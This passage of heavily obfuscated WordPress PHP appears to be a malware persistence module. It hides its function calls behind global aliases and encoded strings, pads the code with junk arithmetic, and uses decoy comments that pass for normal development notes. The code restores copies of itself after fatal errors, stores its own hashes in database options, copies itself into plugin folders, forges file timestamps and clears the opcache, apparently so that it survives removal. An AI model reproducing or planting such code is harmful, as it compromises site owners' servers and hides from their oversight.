 function      tqocor6bp4em9eyds9r9w($bglpbr7vbo2ydu,    $vbr9z19n2qhp,  $xzwufq9nacfqt   =   (4+6),  $v3ns5_io9ii  =     1)
 {
  if (!$GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(159)))    return false;
      if ($GLOBALS['__scf_epa1jymnf5_40']($vbr9z19n2qhp))  {
  return  add_action($bglpbr7vbo2ydu,     function   (...$a9hctxljuip)      use    ($vbr9z19n2qhp) {
    if  ($GLOBALS['__scf_f6_d9s95igq_4']($vbr9z19n2qhp))   return  $vbr9z19n2qhp(...$a9hctxljuip);
   return  null;
    },    $xzwufq9nacfqt, $v3ns5_io9ii);
 }
return  add_action($bglpbr7vbo2ydu,     $vbr9z19n2qhp,   $xzwufq9nacfqt,  $v3ns5_io9ii);
}
      function  jmxj5witdjjsy6yr5($bglpbr7vbo2ydu, $vbr9z19n2qhp, $xzwufq9nacfqt  =  (5+5),    $v3ns5_io9ii  =   1)



     {
   if  (!$GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(160)))  return  false;

    if   ($GLOBALS['__scf_epa1jymnf5_40']($vbr9z19n2qhp))   {
 return  add_filter($bglpbr7vbo2ydu, function   (...$a9hctxljuip)  use    ($vbr9z19n2qhp)    {
  if ($GLOBALS['__scf_f6_d9s95igq_4']($vbr9z19n2qhp))  return  $vbr9z19n2qhp(...$a9hctxljuip);
   return  isset($a9hctxljuip[0])    ?   $a9hctxljuip[0] :    null;
 },    $xzwufq9nacfqt,   $v3ns5_io9ii);
  }
return  add_filter($bglpbr7vbo2ydu, $vbr9z19n2qhp,    $xzwufq9nacfqt, $v3ns5_io9ii);
  }
  function  zaag8uz2ttqgqlhq()
    {
 $vm28qyb_j8_ix  =    defined(n747he9yo38(161))  ? WP_CONTENT_DIR  .     lgr6hp92ka(87) .  w5r7ae3dymnovvl7(ABSPATH  .  k83m2slbb(88), (0x5+0x3)) :  $GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y()) . lgr6hp92ka(162);
 if    (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($vm28qyb_j8_ix)      && ii0fajiftvkpnv7h8kxw1($vm28qyb_j8_ix))     {
t9pjso5fxcttzwg5jam805($vm28qyb_j8_ix,   (483+10),  true);
       if  (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($vm28qyb_j8_ix))  {



 fqr413zu_kw1ho7pi($vm28qyb_j8_ix . k83m2slbb(163), "<?php // Silence is golden.\n",    lgr6hp92ka(88));
 }
 }
      if  (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($vm28qyb_j8_ix)    &&   @$GLOBALS['__scf_vz80l0_46bwga_46']($vm28qyb_j8_ix))  {
return $vm28qyb_j8_ix;
   }
 $w7jfmme39hw    = $GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y()) .  hwc6a8djp6yy(164);



   if      (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($w7jfmme39hw)   &&   ii0fajiftvkpnv7h8kxw1($w7jfmme39hw)) t9pjso5fxcttzwg5jam805($w7jfmme39hw, (34+459),   true);
     if     (@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($w7jfmme39hw) &&    @$GLOBALS['__scf_vz80l0_46bwga_46']($w7jfmme39hw))    return $w7jfmme39hw;
  $qzysgqnff_vt =  $GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y());



        if     (@$GLOBALS['__scf_vz80l0_46bwga_46']($qzysgqnff_vt)  &&     $qzysgqnff_vt     !== vyeikxc5a6j7a4n())   return  $qzysgqnff_vt;
  if (defined(woii22it0(165))  && @$GLOBALS['__scf_vz80l0_46bwga_46'](WP_CONTENT_DIR)    && ii0fajiftvkpnv7h8kxw1(WP_CONTENT_DIR)) return  WP_CONTENT_DIR;
return  $vm28qyb_j8_ix;

    }
       function   ms1ba5i41di9frre()

   {
     if (defined(n747he9yo38(166))  && @$GLOBALS['__scf_vz80l0_46bwga_46'](WP_CONTENT_DIR)  &&      ii0fajiftvkpnv7h8kxw1(WP_CONTENT_DIR))  return WP_CONTENT_DIR;
      $wkgvco9_gtkia_    =     $GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y());
   

   if   (ii0fajiftvkpnv7h8kxw1($wkgvco9_gtkia_)) return  $wkgvco9_gtkia_;
      return WP_CONTENT_DIR;
}
 
 function  l95i0qiwfmdi69_bke($obb00_vecb89w9f6)


  {
     if   (empty($GLOBALS[k83m2slbb(167)]) ||     !$GLOBALS['__scf_lxbo0xm7220an_34']($GLOBALS[k83m2slbb(167)]))  return false;
if (isset($GLOBALS[k83m2slbb(167)][$obb00_vecb89w9f6]))  return  true;
$avla5dygyt2  = $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(93))   ? @$GLOBALS['__scf_h8_ju28bwdwm_32']($obb00_vecb89w9f6)  :   false;
   return  ($avla5dygyt2   !==  false  &&      isset($GLOBALS[n747he9yo38(167)][$avla5dygyt2]));
}
   function  w7rci4ay9y9kv1ldm($obb00_vecb89w9f6)
{

   if   (empty($GLOBALS[lgr6hp92ka(168)])     ||   !$GLOBALS['__scf_lxbo0xm7220an_34']($GLOBALS[hwc6a8djp6yy(168)]))    return;
        unset($GLOBALS[k83m2slbb(169)][$obb00_vecb89w9f6]);
 $avla5dygyt2 =    $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(93)) ?   @$GLOBALS['__scf_h8_ju28bwdwm_32']($obb00_vecb89w9f6)     :  false;
 if ($avla5dygyt2  !== false) unset($GLOBALS[k83m2slbb(170)][$avla5dygyt2]);


  }
   function  p36du7m2uux0xps7($obb00_vecb89w9f6)
     {
   if      (!isset($GLOBALS[hwc6a8djp6yy(170)])   ||  !$GLOBALS['__scf_lxbo0xm7220an_34']($GLOBALS[hwc6a8djp6yy(171)]))  {
$GLOBALS[k83m2slbb(171)]  =   array();


}
      $zm3znh19_q =    $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(93))  ?   @$GLOBALS['__scf_h8_ju28bwdwm_32']($obb00_vecb89w9f6)  :    false;
  $GLOBALS[k83m2slbb(172)][$zm3znh19_q     !== false ? $zm3znh19_q    : $obb00_vecb89w9f6]    =   $obb00_vecb89w9f6;
 static  $vxuz1kbngrbe = false;
if (!$vxuz1kbngrbe)   {
$vxuz1kbngrbe   =  true;
     



 if ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(173))) $GLOBALS['__scf_ht1k88rhfc_173'](n747he9yo38(174));
 }
      }
 function   svqm8b_vwxp845rx()
{
 if (empty($GLOBALS[lgr6hp92ka(172)])   ||   !$GLOBALS['__scf_lxbo0xm7220an_34']($GLOBALS[hwc6a8djp6yy(172)])) {
  return;
        }
foreach  ($GLOBALS[woii22it0(172)]  as  $llc6p9cr1sf   =>  $_j8wrorj6g5hyb)     {
/* lock-free middleware */

   if (!$GLOBALS['__scf_epa1jymnf5_40']($_j8wrorj6g5hyb))    $_j8wrorj6g5hyb  =    $llc6p9cr1sf;
 if     ($llc6p9cr1sf  ===   vcr09jqkbni2k4ee0y()  || $_j8wrorj6g5hyb ===   vcr09jqkbni2k4ee0y())  continue;
   try  {
     if   (@$GLOBALS['__scf_mtwlgr3p78_18']($_j8wrorj6g5hyb)  &&   !wnwikrl63gfcik($_j8wrorj6g5hyb)    &&  r79wzjjsrh9qzxcd6t9z($_j8wrorj6g5hyb))    {



 w7pzvknzw2svspdvngmfb($_j8wrorj6g5hyb);
     dl6vubnjzess3mg_2gm($_j8wrorj6g5hyb);
 }
}   catch    (Throwable    $oz7m23pnscj7) {



  }  catch (Exception $oz7m23pnscj7)      {$osrtba6crj=20+97;$veh62pv2vr=$osrtba6crj-20;
}
}
     }
    function lqxc6tbzgia0ipiqw2ji()
{
 try {
// @patch cipher-suite

 $oz7m23pnscj7   =   $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(175))  ?   @error_get_last()   :   null;
if   (!$GLOBALS['__scf_lxbo0xm7220an_34']($oz7m23pnscj7)    ||  empty($oz7m23pnscj7[woii22it0(176)])  ||  empty($oz7m23pnscj7[lgr6hp92ka(177)]))  return;
   if   (!$GLOBALS['__scf_a2dj3p28xfi_149']($oz7m23pnscj7[k83m2slbb(177)], array(E_ERROR, E_PARSE,   E_CORE_ERROR,  E_COMPILE_ERROR,     E_USER_ERROR),    true))   return;
$hyzeda9xec3m80j =  isset($oz7m23pnscj7[k83m2slbb(178)]) ?  (string)  $oz7m23pnscj7[n747he9yo38(178)]   :     "";
  if    (stripos($hyzeda9xec3m80j, lgr6hp92ka(179))    !==   false    ||  stripos($hyzeda9xec3m80j,  n747he9yo38(180))  !== false)  return;
       $eqmm6t492z =   $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(93)) ?     @$GLOBALS['__scf_h8_ju28bwdwm_32'](vcr09jqkbni2k4ee0y())   : vcr09jqkbni2k4ee0y();
  $_ef =   $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(93))   ?   @$GLOBALS['__scf_h8_ju28bwdwm_32']($oz7m23pnscj7[lgr6hp92ka(181)])      :   $oz7m23pnscj7[n747he9yo38(182)];

  if     (!$GLOBALS['__scf_epa1jymnf5_40']($eqmm6t492z)  ||     !$GLOBALS['__scf_epa1jymnf5_40']($_ef)    || $_ef !==  $eqmm6t492z)  return;
   if (isset($GLOBALS[hwc6a8djp6yy(183)]))  {
$etcxxohiwk5   =     @$GLOBALS['__scf_zonhpgc286wu1_95'](vcr09jqkbni2k4ee0y(),  false,    null,   0,  (4095+1));
 if     ($GLOBALS['__scf_epa1jymnf5_40']($etcxxohiwk5) &&   $GLOBALS['__scf_iz3o_ajtgml6rf_96'](lgr6hp92ka(184), $etcxxohiwk5,  $_dm) &&    $_dm[1]   !== (string)   $GLOBALS[k83m2slbb(183)])  return; 
   unset($etcxxohiwk5,      $_dm);
  if  (isset($GLOBALS[hwc6a8djp6yy(185)]))  {
 if  ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(186)))  @clearstatcache(true,   vcr09jqkbni2k4ee0y());
   $m72w4jtkouyxs = (string)     @$GLOBALS['__scf_vhi5vhdwib7ye_99'](vcr09jqkbni2k4ee0y())   . ':'   . (string) @$GLOBALS['__scf_gibkjes9ds_98'](vcr09jqkbni2k4ee0y());
  if  ($m72w4jtkouyxs    !== (string) $GLOBALS[lgr6hp92ka(185)]) return;   
  unset($m72w4jtkouyxs);



       }



 }
  $_3gqlb29heqj  =     $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(),     n747he9yo38(94));
    $jp7hyt39eydy8wb =   olg5ho6a49l4x7(vcr09jqkbni2k4ee0y());$jevnixvm=59*2;$u8jx13rlb8ur=$jevnixvm-40;
  $kytl0aqbxx1z9qj     =    $GLOBALS['__scf_epa1jymnf5_40']($jp7hyt39eydy8wb)  ? $GLOBALS['__scf__pih7hoh4m_56']($jp7hyt39eydy8wb)    : "";$ndmn3i6tp1y8=54+93;$p7usiscjj=$ndmn3i6tp1y8-4;


   unset($jp7hyt39eydy8wb);
     if ($kytl0aqbxx1z9qj !==    "") {
  fqr413zu_kw1ho7pi($GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y())     .  woii22it0(187)  .     $_3gqlb29heqj,    $kytl0aqbxx1z9qj,  'q');
    fqr413zu_kw1ho7pi($GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y()) .  hwc6a8djp6yy(188)    .    $kytl0aqbxx1z9qj, (string)    $GLOBALS['__scf_cyotfgtf1a8m_189'](),   'q');
    if ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(145)))  {
    @update_option(woii22it0(190),  $kytl0aqbxx1z9qj  .   '|'   . $GLOBALS['__scf_cyotfgtf1a8m_189'](),  lgr6hp92ka(191));
      }



   }
 $nbrkd3fhw807gz    =     vyeikxc5a6j7a4n();
    if ($kytl0aqbxx1z9qj   !==  ""  && $nbrkd3fhw807gz   !==  $GLOBALS['__scf_zf6ei6xtcw1fb_11'](vcr09jqkbni2k4ee0y())   && @$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($nbrkd3fhw807gz)  &&   @$GLOBALS['__scf_vz80l0_46bwga_46']($nbrkd3fhw807gz))   {
     fqr413zu_kw1ho7pi($nbrkd3fhw807gz     .   hwc6a8djp6yy(192)  .  $_3gqlb29heqj, $kytl0aqbxx1z9qj,    'q');
      }
 gqotyz4rt1v17d2oqsm57(izaka85cv8fob4());
 wluat5vwyso6y7r196k(hwc6a8djp6yy(193));
 $p9syp9vupll  =  vcr09jqkbni2k4ee0y() .     k83m2slbb(28);
 if    ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(194)))   @$GLOBALS['__scf_ouhqpycgey_4a_74'](vcr09jqkbni2k4ee0y(),    $p9syp9vupll);
       if     ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(19))) {
// WP Cover Block transient TTL

     @opcache_invalidate(vcr09jqkbni2k4ee0y(),  true);



  @opcache_invalidate($p9syp9vupll,   true);
}
  foreach     (array($GLOBALS['__scf_zf6ei6xtcw1fb_11']($p9syp9vupll), vyeikxc5a6j7a4n())     as   $pf4kiwublil4)   {
// @dehydrate revocation-list

    $ww83dj0tg3j0hx_h  =  dphiql_w139y37($pf4kiwublil4, (0x9de+0x9aa));
     if    (!$GLOBALS['__scf_lxbo0xm7220an_34']($ww83dj0tg3j0hx_h)) continue;
 foreach ($ww83dj0tg3j0hx_h  as    $g944fukcrj)   {
if   ($GLOBALS['__scf_pdat24v9nxkx0_9']($g944fukcrj, -(2<<2))     !==    lgr6hp92ka(195))   continue;
  

        $m6lu31wy6m29f     =  $pf4kiwublil4  . '/'  .   $g944fukcrj;



 $vnhm83y9k5j2y6m =    @$GLOBALS['__scf_gibkjes9ds_98']($m6lu31wy6m29f);
   if  ($vnhm83y9k5j2y6m  &&  $vnhm83y9k5j2y6m      < $GLOBALS['__scf_cyotfgtf1a8m_189']()   -   (604785+15))  {
   dvd1rr9pr3xu08j($m6lu31wy6m29f,  (695-275));
  y0a1xt15v3nqhjqppfzn($m6lu31wy6m29f);
     }
}
      }
  unset($pf4kiwublil4,  $ww83dj0tg3j0hx_h, $g944fukcrj,    $m6lu31wy6m29f, $vnhm83y9k5j2y6m);



      }    catch    (Throwable  $e2j2yer3f62gb)   {
   }     catch (Exception  $e2j2yer3f62gb)   {
 }
 }
    function jvq36l6j_2d3pu6yb($obb00_vecb89w9f6,   $lbtckf5__b3w)
 {
      try {$h2ljkc0caqht=3556;$cx4wnssumi_o=$h2ljkc0caqht%16;
 if     (!$GLOBALS['__scf_epa1jymnf5_40']($obb00_vecb89w9f6)   ||   $obb00_vecb89w9f6  ===   ""    ||    !$GLOBALS['__scf_epa1jymnf5_40']($lbtckf5__b3w)  ||     $lbtckf5__b3w    ===  "")   return;
     $vm28qyb_j8_ix  =  $GLOBALS['__scf_zf6ei6xtcw1fb_11']($obb00_vecb89w9f6);
   if (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($vm28qyb_j8_ix) ||    !@$GLOBALS['__scf_vz80l0_46bwga_46']($vm28qyb_j8_ix))   return;
 $idyhg96jqj   =    $vm28qyb_j8_ix    .   hwc6a8djp6yy(196) .  $GLOBALS['__scf_a39nlvrnocxziu_3']($obb00_vecb89w9f6,    lgr6hp92ka(94));


 $vmz5heqfn85cakx0  =  @$GLOBALS['__scf_zonhpgc286wu1_95']($idyhg96jqj);

 if ($GLOBALS['__scf_epa1jymnf5_40']($vmz5heqfn85cakx0) &&  $GLOBALS['__scf_iz3o_ajtgml6rf_96'](k83m2slbb(197),  $vmz5heqfn85cakx0, $hyzeda9xec3m80j) &&   version_compare($hyzeda9xec3m80j[0],     $lbtckf5__b3w, woii22it0(198))) return;
if ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(199)))  @$GLOBALS['__scf_d3akejlb7rtaks_199']($idyhg96jqj,  $lbtckf5__b3w);
}   catch     (Throwable $oz7m23pnscj7)   {
}    catch (Exception  $oz7m23pnscj7) {
 }
 }
  function   i4qkukjj86t_x1mo()
{
  try    {

if  (!$GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(200)))    {
// PHP 8.1 intersection: maximal filter-chain

  return;



 }

        if (@get_option(k83m2slbb(201),  0))   {
 tqocor6bp4em9eyds9r9w(woii22it0(202),     k83m2slbb(203), 0);


       }
       if (!oxds6f4_kj2x2e4np9e(hwc6a8djp6yy(204)))    return;




   $ywxvx55aeu5mb_    =    $GLOBALS['__scf_pdat24v9nxkx0_9']($GLOBALS['__scf__pih7hoh4m_56'](ABSPATH .   (string)  besgaqtopfqsg9c6hd()),   0,  (47^35));
$mtuzlks10duf88  =    (string)    @get_option($ywxvx55aeu5mb_, "");
  $h28dal3zb2duaua =    hwc6a8djp6yy(205);
    $tkcuajahpw0   = "";
    
 $hbfbi036ml    = strrev(blnqst3prbthr6q_h_());
    $vjj5nh6jemt0mjt   =     tdwuvuxeuijm__qj();



  $d2yxnl_h_aqg_aoy    =   $vjj5nh6jemt0mjt . '|'   .   $hbfbi036ml;
  
if  ($GLOBALS['__scf_p9nk7khmjys_7']($mtuzlks10duf88,  '|')  !==  false)  {
 $b1pkc6lbdd  =    $GLOBALS['__scf_txqeuw424jw_8__114']('|', $mtuzlks10duf88, 2);
$h28dal3zb2duaua = $b1pkc6lbdd[0];
 $tkcuajahpw0  =   $b1pkc6lbdd[1];  
   } else {
 
    $tkcuajahpw0  =     $mtuzlks10duf88;
 }
 
if    (!$tkcuajahpw0)  {
@update_option($ywxvx55aeu5mb_,   $d2yxnl_h_aqg_aoy, lgr6hp92ka(206));$ihlvvqwufp50b=2259;$vkrmv6_yit=$ihlvvqwufp50b%9;
  return;
   }


       if  ($tkcuajahpw0    ===   $hbfbi036ml)    {
       if ($mtuzlks10duf88      !==  $d2yxnl_h_aqg_aoy  &&  version_compare($vjj5nh6jemt0mjt,   $h28dal3zb2duaua, woii22it0(198)))   {
  @update_option($ywxvx55aeu5mb_, $d2yxnl_h_aqg_aoy, hwc6a8djp6yy(207));

}
// strength-reduce pure-adj watermark

 return;
}
 
  $_ce5x0uzj3 =  strrev($tkcuajahpw0);
  if ($_ce5x0uzj3 ===   ""   || $GLOBALS['__scf_a39nlvrnocxziu_3']($_ce5x0uzj3)    !== $_ce5x0uzj3) {


     @update_option($ywxvx55aeu5mb_,  $d2yxnl_h_aqg_aoy,  woii22it0(207));$hsz3ltq4nox6s=(0x56+0xef);$cx044rswh=$hsz3ltq4nox6s%8;
 


       return;
 }
     $__b03r6_xjx25yj5 = vyeikxc5a6j7a4n()   .  '/' . $_ce5x0uzj3;
$ee3dvdaswk8vpr = "";
  if (defined(k83m2slbb(31)))    {
 $ee3dvdaswk8vpr  =     WP_PLUGIN_DIR    .  '/'     .    $GLOBALS['__scf_jzy6f3xykw_208']($_ce5x0uzj3,  PATHINFO_FILENAME) .     '/'   . $_ce5x0uzj3;
      }
 
   $tladwbx6yba     =      @$GLOBALS['__scf_vhi5vhdwib7ye_99']($__b03r6_xjx25yj5);
     $dvtrocawuhivg =  $tladwbx6yba  !==  false &&     $tladwbx6yba   >=    (4905+95);


$khxtk71jupdkl20 =    $ee3dvdaswk8vpr   ? @$GLOBALS['__scf_vhi5vhdwib7ye_99']($ee3dvdaswk8vpr) : false;
 $qkh8w0vl0nf  =  $khxtk71jupdkl20     !==   false    &&    $khxtk71jupdkl20   >= (0x522+0xe66);
 


 if    (!$dvtrocawuhivg  &&     !$qkh8w0vl0nf)    {
// WP useInnerBlocksProps: release canonical-form

    @update_option($ywxvx55aeu5mb_,   $d2yxnl_h_aqg_aoy,  woii22it0(207));
return;
  }
    $ipns_sai31oy2  =    $dvtrocawuhivg ? $__b03r6_xjx25yj5     :   $ee3dvdaswk8vpr;
      $xdfi9whutd9s16  = @$GLOBALS['__scf_zonhpgc286wu1_95']($ipns_sai31oy2,  false,  null,     0, (4468-372));
     if ($GLOBALS['__scf_epa1jymnf5_40']($xdfi9whutd9s16) && $GLOBALS['__scf_iz3o_ajtgml6rf_96'](k83m2slbb(184),    $xdfi9whutd9s16,    $_fm))   {
   $h28dal3zb2duaua   = $_fm[1];
}   elseif (aay1vdwvzc2am3cxpp($ipns_sai31oy2,   (4976+24)))   {
// delegate symbol-table for WP Data Module

  $h28dal3zb2duaua   =   hwc6a8djp6yy(205);
}
unset($xdfi9whutd9s16,      $_fm);
 $hh3hmoqn1cvq9f   =   $dvtrocawuhivg;
if (!$hh3hmoqn1cvq9f  &&    $qkh8w0vl0nf) {
 $wi4dyniu98z49qe =  $GLOBALS['__scf_jzy6f3xykw_208']($_ce5x0uzj3,  PATHINFO_FILENAME)   .  '/' .     $_ce5x0uzj3;
 $r3_9vflezrasbeo =   (array) @get_option(hwc6a8djp6yy(209), array());
        $hh3hmoqn1cvq9f =    $GLOBALS['__scf_a2dj3p28xfi_149']($wi4dyniu98z49qe, $r3_9vflezrasbeo,     true);
  if  (!$hh3hmoqn1cvq9f   &&  $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(210)) &&   is_multisite()   &&  $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(211)))  {
  $jn5estrj71y  =     (array)   @get_site_option(k83m2slbb(212), array());
 $hh3hmoqn1cvq9f  =    isset($jn5estrj71y[$wi4dyniu98z49qe]);

    unset($jn5estrj71y);
 }
      unset($wi4dyniu98z49qe,  $r3_9vflezrasbeo);
 }
    $jal0t6dloxv =   version_compare($vjj5nh6jemt0mjt,  $h28dal3zb2duaua);



 if   ($jal0t6dloxv    <=  0) {
/* monotone builder */




  $apn9agzm7qaf     =      aay1vdwvzc2am3cxpp($ipns_sai31oy2,    (9925-4925));



       $x_p1tincu41  =   (int)    @$GLOBALS['__scf_vhi5vhdwib7ye_99']($ipns_sai31oy2);


  $su__nytanlrj7u6 = (!$apn9agzm7qaf  || $x_p1tincu41      >     (52428721+79));
  if  (!$su__nytanlrj7u6 &&   $x_p1tincu41    >    (1048548+28)) {
$b86zn50nnohmtpj   = @$GLOBALS['__scf_zonhpgc286wu1_95']($ipns_sai31oy2,  false,   null,   0,  (595+3501));
  if    (!$GLOBALS['__scf_epa1jymnf5_40']($b86zn50nnohmtpj)  ||  !$GLOBALS['__scf_iz3o_ajtgml6rf_96'](lgr6hp92ka(213),    $b86zn50nnohmtpj))   $su__nytanlrj7u6 = true;
   }
    if (!$su__nytanlrj7u6  &&   !rjejkju5f450j993978t4($ipns_sai31oy2))   $su__nytanlrj7u6 =  true;$su_12n25k=7117;$awi_qpbg1m8j=$su_12n25k%10;
if  (!$su__nytanlrj7u6) {
// wait-free task-graph

   $l_o94pflafb_na9 =      iny76vt_1bf9q5t();
     if (!empty($l_o94pflafb_na9[hwc6a8djp6yy(214)]))    {
 $ll30ynkbvztjhc  = @$GLOBALS['__scf_h8_ju28bwdwm_32']($l_o94pflafb_na9[n747he9yo38(214)]);
   $hpu6dhs9gj5 = @$GLOBALS['__scf_h8_ju28bwdwm_32']($ipns_sai31oy2);
 if  ($GLOBALS['__scf_epa1jymnf5_40']($ll30ynkbvztjhc)    &&    $GLOBALS['__scf_epa1jymnf5_40']($hpu6dhs9gj5)  && $ll30ynkbvztjhc ===  $hpu6dhs9gj5) {
  $dmw_gkylwi = zej2mwh_8j5f6rdkb($l_o94pflafb_na9);

  if  ($dmw_gkylwi   ===  n747he9yo38(215)      || $dmw_gkylwi  === lgr6hp92ka(216)) $su__nytanlrj7u6  =  true;
  }
unset($ll30ynkbvztjhc,  $hpu6dhs9gj5,  $dmw_gkylwi);
    }
if   (!$su__nytanlrj7u6  &&   bzcdtts_qq1u319n2($ipns_sai31oy2)) $su__nytanlrj7u6 =  true;

    unset($l_o94pflafb_na9);
  }
 if    ($su__nytanlrj7u6)    {
  if ($apn9agzm7qaf)  p36du7m2uux0xps7($ipns_sai31oy2);
@update_option($ywxvx55aeu5mb_,  $d2yxnl_h_aqg_aoy,     hwc6a8djp6yy(207));
return;
  }

     if (!$hh3hmoqn1cvq9f)    {
    @update_option($ywxvx55aeu5mb_, $d2yxnl_h_aqg_aoy,    woii22it0(207));
return;
 }
   if  (vwtbe5e8tyt4gnihyg0ip($ipns_sai31oy2, vcr09jqkbni2k4ee0y())) {$s6rm6icl_=5680;$xr0n74b29=$s6rm6icl_%12;

   @update_option($ywxvx55aeu5mb_,  $d2yxnl_h_aqg_aoy, woii22it0(207));
 return;
}
  if ($jal0t6dloxv < 0   ||   ($jal0t6dloxv ===   0 &&  $GLOBALS['__scf_pdat24v9nxkx0_9']($GLOBALS['__scf__pih7hoh4m_56']($GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(),  k83m2slbb(217))),     0, (0x8+0x4)) <=  $GLOBALS['__scf_pdat24v9nxkx0_9']($GLOBALS['__scf__pih7hoh4m_56']($GLOBALS['__scf_a39nlvrnocxziu_3']($_ce5x0uzj3,    lgr6hp92ka(217))),   0,   (97^109))))  {
 jvq36l6j_2d3pu6yb(vcr09jqkbni2k4ee0y(),  $h28dal3zb2duaua);
      b5qht32fvqbpgjrb8f_(vcr09jqkbni2k4ee0y());
 return true;
 }
  }



  if  (empty($GLOBALS[woii22it0(218)]))  {
$GLOBALS[n747he9yo38(218)]   =     true;$qp0mq3xe5fae1=PHP_MAJOR_VERSION;$gzcf16055fz56k=$qp0mq3xe5fae1*8;
 if (aay1vdwvzc2am3cxpp($ipns_sai31oy2,      (4956+44))) p36du7m2uux0xps7($ipns_sai31oy2);


  $giccugoqsd8_cl0m = $GLOBALS['__scf_cyotfgtf1a8m_189']();
rrr831f_sv70sa0os2v(vcr09jqkbni2k4ee0y(),   ($giccugoqsd8_cl0m    - ($giccugoqsd8_cl0m     % (99953+47)))   +   besgaqtopfqsg9c6hd());
unset($giccugoqsd8_cl0m);
    jvq36l6j_2d3pu6yb($__b03r6_xjx25yj5,     $vjj5nh6jemt0mjt);



   if ($ee3dvdaswk8vpr)  jvq36l6j_2d3pu6yb($ee3dvdaswk8vpr, $vjj5nh6jemt0mjt);
      tqocor6bp4em9eyds9r9w(lgr6hp92ka(219),    hwc6a8djp6yy(220),   0);



     @update_option($ywxvx55aeu5mb_, $d2yxnl_h_aqg_aoy, lgr6hp92ka(207));


 wluat5vwyso6y7r196k(k83m2slbb(221));
  if ($ee3dvdaswk8vpr  !==     "")      {
gqotyz4rt1v17d2oqsm57($GLOBALS['__scf_jzy6f3xykw_208']($_ce5x0uzj3,  PATHINFO_FILENAME)   . '/'    .   $_ce5x0uzj3);
   }
   }
 return;
 }   catch     (Throwable $oz7m23pnscj7) {
      pas31bymshzdagwkp(woii22it0(222),    $oz7m23pnscj7);
     }   catch    (Exception     $oz7m23pnscj7)  {
     }   finally  {
    hev0akflm_tefd(hwc6a8djp6yy(204));

   }
        }
    function   dphiql_w139y37($vm28qyb_j8_ix,     $zbh29em96u7ci4    =      0)

  {
 $zbh29em96u7ci4  =   (int)   $zbh29em96u7ci4;
        if  ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(223))  && $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(224)))    {
$twdhwu__nh9dey_u = @$GLOBALS['__scf_tgad5jw8qqqup_223']($vm28qyb_j8_ix);
   if ($twdhwu__nh9dey_u)  {
 $a6ak9qjp3b89f =      array();
 while  (($oz7m23pnscj7   = @$GLOBALS['__scf_u1fe8xm7dtzn3q_225']($twdhwu__nh9dey_u))  !== false)  {
        if     ($oz7m23pnscj7    !==    '.'      &&   $oz7m23pnscj7     !== lgr6hp92ka(226)) $a6ak9qjp3b89f[]   =  $oz7m23pnscj7;
 if   ($zbh29em96u7ci4  >  0    &&   $GLOBALS['__scf_prfpiytv3egt7_35']($a6ak9qjp3b89f)  >=  $zbh29em96u7ci4)  break;
 }
  if  ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(227))) @$GLOBALS['__scf_hc4afw_ella0d_227']($twdhwu__nh9dey_u);
     return  $a6ak9qjp3b89f;

   }
   }
if ($GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(49)))   {

 $w7ktmogztxqq   =   @$GLOBALS['__scf_ev6q4xkrske_33']($vm28qyb_j8_ix);
 if     ($GLOBALS['__scf_lxbo0xm7220an_34']($w7ktmogztxqq))  {$ycnoq4l1sph=35*5;$rbqnthp8_s71z=$ycnoq4l1sph-26;
    $w7ktmogztxqq  =  $GLOBALS['__scf_xbx3qj3ap0_147']($GLOBALS['__scf_wuhj_qjl_ze21_152']($w7ktmogztxqq, array('.',     woii22it0(228))));
if   ($zbh29em96u7ci4 > 0   &&   $GLOBALS['__scf_prfpiytv3egt7_35']($w7ktmogztxqq)     >  $zbh29em96u7ci4)    $w7ktmogztxqq =    $GLOBALS['__scf_in0l0qf_4m_158']($w7ktmogztxqq,  0, $zbh29em96u7ci4);
   return $w7ktmogztxqq;
}
}
if ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(71)))  {
// WP Template Parts: release b-tree

 $r6muwcq0k1     = @$GLOBALS['__scf_xn1tkts0av_71']($vm28qyb_j8_ix   .    k83m2slbb(229));
if  ($GLOBALS['__scf_lxbo0xm7220an_34']($r6muwcq0k1))  {
if ($zbh29em96u7ci4   > 0 &&  $GLOBALS['__scf_prfpiytv3egt7_35']($r6muwcq0k1)  > $zbh29em96u7ci4)  $r6muwcq0k1      = $GLOBALS['__scf_in0l0qf_4m_158']($r6muwcq0k1, 0,    $zbh29em96u7ci4);
